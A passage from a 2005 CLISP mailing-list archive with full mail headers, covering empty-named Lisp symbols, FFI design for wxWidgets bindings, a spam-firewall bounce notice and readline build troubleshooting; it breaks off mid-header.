<17102.20381.185349.690171@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OOPS! In-Reply-To: <42CE4EF6.6040303@jenty.by> References: <42CE4EF6.6040303@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 03:05:31 2005 X-Original-Date: Fri, 8 Jul 2005 12:04:13 +0200 Yaroslav Kavenchuk writes: > clisp from CVS head, mingw > > CL-USER> (defun CL-USER:: () "OOPS!") > || > CL-USER> (CL-USER::) > "OOPS!" > > Symbol maybe empty? :) Yes. Isn't it nice? -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From pjb@informatimago.com Fri Jul 08 03:06:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqpkT-0007A3-Sb for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:06:21 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqpkT-0002Nd-Bm for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:06:21 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 662ED5833D; Fri, 8 Jul 2005 12:06:12 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B1D64582FA; Fri, 8 Jul 2005 12:06:10 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A5DEF10FBF3; Fri, 8 Jul 2005 12:06:10 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17102.20498.650487.431252@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OOPS! In-Reply-To: <42CE4EF6.6040303@jenty.by> References: <42CE4EF6.6040303@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 03:08:08 2005 X-Original-Date: Fri, 8 Jul 2005 12:06:10 +0200 Yaroslav Kavenchuk writes: > clisp from CVS head, mingw > > CL-USER> (defun CL-USER:: () "OOPS!") > || > CL-USER> (CL-USER::) > "OOPS!" > > Symbol maybe empty? :) Yes. Isn't it nice? The package name can be empty too (it's taken to be KEYWORD): [40]> (defun :: () "Re oops!") :|| [41]> (::) "Re oops!" -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 08 03:13:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqprR-0007IN-Oj for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:13:33 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqprA-000413-H0 for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:13:33 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 8 Jul 2005 12:13:19 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <3HNTC1M0>; Fri, 8 Jul 2005 12:12:37 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304DEA5A0@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 03:15:11 2005 X-Original-Date: Fri, 8 Jul 2005 12:12:37 +0200 Surendra, thanks for the great research job about how other languages attempt to = interface to wxwidgets. It's no surprise most (if not all?) opt for a C = approach rather than to C++. C++ is to much tied to a specific compiler = to be useful across libraries (and you know have experience with = bgd.dll about the kind of problems one can encounter with different = compilers even in C ;) I've not had time to browse these URLs. I've also never taken time to = look at the automated FFI wrapper generators (ffigen, swig and others). One important thing to keep in mind is: if all you have is *.h files, = you are not very far ahead. The expressivity of *.h files is extremely = poor. E.g. you don't know which parameters are : or :out. The CLISP FFI = is quite expressive, but you'd not be using that power if all you have = is a naive .htoFFI converter. I've heard that SWIG can make use of annotated .h files which describe = the missing parts. But who writes such SWIG-conform .h files? I've = never encountered one. Here's an example from MS-Windows. The online library help cleary = mentions IN and OUT parameters, therefore I can easily write the = best-fit description for bytesread. (def-call-out ReadFile (:name"ReadFile")(:library "kernel32.dll") (:return-type boolean) (:language :stdc-stdcall) (:arguments (handle handle) (buffer c-pointer) (bytestoread dword) (bytesread (c-ptr dword) :out) (overlapped c-pointer))) It would be quite stupid IMHO to have to use (* INT) as a type and then (with-c-var (bytes-read int) (ReadFile ... (c-var-address bytes-read) ...)) [which is what I call the low-levelness of UFFI] instead of taking advantage of CLISP's expressivity. I recommend that you look closely at the Haskell wx stuff. I haven't = looked at it myself, but the Haskell FFI has ideas I share and = excellent designers. And at some point, you will realize that the power of the Lisp = interface you create does not come from whatever the FFI looks like, = but from how useable the Lisp-level abstractions you create are to the = Lisp programmer =3D user of your library. That's my summary of = observing various past attempts of interfacing to GUI and other = libraries (e.g. there have been like a dozen interaces to tk, various = forms of X, Motif etc.). There's also much more to be said on the C vs. C++ issue, depending on = how wxwidget expects to make use of widgets, and inheritance, and = exception handling, and events, and signaling. But whatever the = details, I believe a Lisp look&feel would be most satisfactory. My roommate is a Smalltalk guy. He enjoys using CORBA very much and = just told me that what he likes best is that after adding #pragma = class+selector=3Dxyz to the .idl, he never sees CORBA again. It = completely disappears and all he sees are typical Smalltalk objects. I = think that's a sign of a good binding :-) I wish you good luck, J=F6rg H=F6hle From kavenchuk@jenty.by Fri Jul 08 03:41:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqqIW-0008UP-UW for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:41:32 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqqIU-0006Fe-JH for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:41:33 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA297M; Fri, 8 Jul 2005 13:44:55 +0300 Message-ID: <42CE5898.9030500@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OOPS! References: <17102.20498.650487.431252@thalassa.informatimago.com> In-Reply-To: <17102.20498.650487.431252@thalassa.informatimago.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_CLOSE BODY: Text interparsed with ) 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 03:43:11 2005 X-Original-Date: Fri, 08 Jul 2005 13:42:32 +0300 Pascal Bourguignon wrote: >>CL-USER> (defun CL-USER:: () "OOPS!") >>|| >>CL-USER> (CL-USER::) >>"OOPS!" >> >>Symbol maybe empty? :) > > > Yes. Isn't it nice? Very nice :) > > The package name can be empty too (it's taken to be KEYWORD): > > [40]> (defun :: () "Re oops!") > :|| > [41]> (::) > "Re oops!" > How mach in (c)Lisp the same "doings"? -- WBR, Yaroslav Kavenchuk. From vasilism@hotmail.com Fri Jul 08 04:00:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqqae-0000vr-L3 for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 04:00:16 -0700 Received: from bay7-f31.bay7.hotmail.com ([64.4.11.56] helo=hotmail.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqqab-0005Ey-3L for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 04:00:16 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 8 Jul 2005 04:00:07 -0700 Message-ID: Received: from 81.186.170.88 by by7fd.bay7.hotmail.msn.com with HTTP; Fri, 08 Jul 2005 11:00:07 GMT X-Originating-IP: [81.186.170.88] X-Originating-Email: [vasilism@hotmail.com] X-Sender: vasilism@hotmail.com From: "Vasilis M." To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 08 Jul 2005 11:00:07.0452 (UTC) FILETIME=[33AD0DC0:01C583AC] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 04:01:06 2005 X-Original-Date: Fri, 08 Jul 2005 11:00:07 +0000 Surendra Singhi writes: >Or, I would rather suggest going with Swig (http://www.swig.org/). >Currently swig >can be used for generating Allegro CL code, but it should not be hard to >extend it to generate clisp. I have use swig (csharp module) to produce ffi and c++ classes to clos mapping for wxWidgets library The library is in a usable state (tested on windows xp wtih clisp 2.33) and covers ~ 70% of gui widgets i could email it to anyone interested in. Margioulas Vasilis _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar - get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From MAILER-DAEMON Fri Jul 08 04:33:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqr6n-0002Ry-Qw for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 04:33:29 -0700 Received: from [216.129.105.31] (helo=barracuda.address.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqr6m-0000xo-NS for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 04:33:29 -0700 MIME-Version: 1.0 From: MAILER DAEMON <> Message-Id: <20050706064704.B150E4C4DF9@barracuda.address.com> Content-Type: multipart/report; report-type=delivery-status; charset=utf-8; boundary="----------=_1120822408-471-1" To: X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 FROM_NO_USER From: has no local-part before @ sign 1.3 FROM_NO_LOWER From address has no lower-case characters 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Banned file: message.scr in mail from you Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 04:34:09 2005 X-Original-Date: Fri, 8 Jul 2005 04:33:28 -0700 (PDT) This is a multi-part message in MIME format... ------------=_1120822408-471-1 Content-Type: text/plain; charset="utf-8" Content-Disposition: inline Content-Transfer-Encoding: base64 QkFOTkVEIEZJTEVOQU1FIEFMRVJUCgpZb3VyIG1lc3NhZ2UgdG86IGlreGRr cEBhZGRyZXNzLmNvbQp3YXMgYmxvY2tlZCBieSBvdXIgU3BhbSBGaXJld2Fs bC4gVGhlIGVtYWlsIHlvdSBzZW50IHdpdGggdGhlIGZvbGxvd2luZyBzdWJq ZWN0IGhhcyBOT1QgQkVFTiBERUxJVkVSRUQ6CgpTdWJqZWN0OiBNYWlsIERl bGl2ZXJ5IChmYWlsdXJlIGlreGRrcEBhZGRyZXNzLmNvbSkKCkFuIGF0dGFj aG1lbnQgaW4gdGhhdCBtYWlsIHdhcyBvZiBhIGZpbGUgdHlwZSB0aGF0IHRo ZSBTcGFtIEZpcmV3YWxsIGlzIHNldCB0byBibG9jay4KCgo= ------------=_1120822408-471-1 Content-Type: message/delivery-status Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Description: Delivery error report Reporting-MTA: dns; barracuda.address.com Received-From-MTA: smtp; barracuda.address.com ([127.0.0.1]) Arrival-Date: Fri, 8 Jul 2005 04:33:27 -0700 (PDT) Final-Recipient: rfc822; ikxdkp@address.com Action: failed Status: 5.7.1 Diagnostic-Code: smtp; 550 5.7.1 Message content rejected, id=00471-03-31 - BANNED: message.scr Last-Attempt-Date: Fri, 8 Jul 2005 04:33:28 -0700 (PDT) ------------=_1120822408-471-1 Content-Type: text/rfc822-headers Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Description: Undelivered-message headers Received: from address.com (unknown [70.109.151.242]) by barracuda.address.com (Spam Firewall) with ESMTP id B150E4C4DF9 for ; Tue, 5 Jul 2005 23:47:04 -0700 (PDT) From: clisp-list@lists.sourceforge.net To: ikxdkp@address.com Subject: Mail Delivery (failure ikxdkp@address.com) Date: Wed, 6 Jul 2005 02:56:44 -0400 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20050706064704.B150E4C4DF9@barracuda.address.com> ------------=_1120822408-471-1-- From pjb@informatimago.com Fri Jul 08 05:00:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqrXK-0003We-Tq for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 05:00:54 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqrXH-0006ls-9Z for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 05:00:55 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 55D815833D; Fri, 8 Jul 2005 14:00:44 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0959B582FA; Fri, 8 Jul 2005 14:00:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 995D710FBF3; Fri, 8 Jul 2005 14:00:41 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17102.27369.274469.565639@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OOPS! In-Reply-To: <42CE5898.9030500@jenty.by> References: <17102.20498.650487.431252@thalassa.informatimago.com> <42CE5898.9030500@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 05:02:33 2005 X-Original-Date: Fri, 8 Jul 2005 14:00:41 +0200 Yaroslav Kavenchuk writes: > Pascal Bourguignon wrote: > > >>CL-USER> (defun CL-USER:: () "OOPS!") > >>|| > >>CL-USER> (CL-USER::) > >>"OOPS!" > >> > >>Symbol maybe empty? :) > > > > > > Yes. Isn't it nice? > > Very nice :) > > > > > The package name can be empty too (it's taken to be KEYWORD): > > > > [40]> (defun :: () "Re oops!") > > :|| > > [41]> (::) > > "Re oops!" > > > > How mach in (c)Lisp the same "doings"? You mean Common Lisp. Not very much. The mapping of an empty package name to KEYWORD is implementation dependant. It's not forbiden by the standard, but it's not specified either. (Eg. the standard allows implementation specific nicknames to standard packages, and it happens that clisp nicknames the package named "KEYWORD" with "", to enable this trick). So it works like this in the current version of clisp, but it might not work later, and it won't work in some other implementations. Now, about reading cl-user:: and :: the readers of other implementations may raise an error such as: (COMMON-LISP::%READER-ERROR #, Output = #> "Illegal terminating character after a colon, ~S" #\Space) because the specifications for the reader are not really very precise (in general the specifications of Common Lisp are not really very precise). But the creation of an empty-named symbol can be done portably, using these escape: || So both these definitions are correct and portable: (defun || () "Oops!") (defun :|| () "Oops!") (values (||) (:||)) You can also name a function :- (defun :- (&optional arg) (declare (ignore arg)) "Nice!") (values (:-) (:-( ))) ;-) -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From sds@gnu.org Fri Jul 08 06:26:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqsrv-0007lE-GT for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 06:26:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqsru-0002QH-Ui for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 06:26:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j68DQ20o010026; Fri, 8 Jul 2005 09:26:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net, dam@mellis.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (David A. Mellis's message of "Fri, 8 Jul 2005 02:07:09 +0200") References: <17101.33214.410165.307595@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, dam@mellis.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: gen.lispbibl.c is broken on Mac OS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 06:27:04 2005 X-Original-Date: Fri, 08 Jul 2005 09:25:28 -0400 > * David A. Mellis [2005-07-08 02:07:09 +0200]: > > On 7/7/05, Pascal Bourguignon wrote: >> diff -a -u -r1.570 makemake.in >> --- makemake.in 6 Jul 2005 22:20:32 -0000 1.570 >> +++ makemake.in 7 Jul 2005 15:58:51 -0000 >> @@ -2512,6 +2512,6 @@ > > I applied the patch (against the latest in CVS and a fresh untar > of the archive from http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2 > Building with: > > ./configure --prefix=/usr/local --with-module=clx/mit-clx > --with-readline-prefix=/sw --build build-dir > > doesn't give me the sed error, but I get: > > gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith > -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c > stream.c > stream.d: In function 'lisp_completion': > stream.d:8916: warning: implicit declaration of function > 'rl_refresh_line' for some reason you are still getting the wrong readline library. could you please take a look at build-dir/Makefile, build-dir/makemake and build-dir/config* and try to figure out where the readline come from? I think you might need --with-libreadline-prefix=/sw instead of --with-readline-prefix=/sw (I am always confused whether one needs "lib" there). -- Sam Steingold (http://www.podval.org/~sds) running w2k The only substitute for good manners is fast reflexes. From sds@gnu.org Fri Jul 08 06:31:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqswr-00080N-VB for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 06:31:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqswq-0003X9-HC for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 06:31:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j68DVDrW010799; Fri, 8 Jul 2005 09:31:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Thu, 07 Jul 2005 20:57:46 -0700") References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> <42CCC5EC.6080703@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_ASTERISK BODY: Text interparsed with * 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; -0.0 AWL AWL: From: address is in the 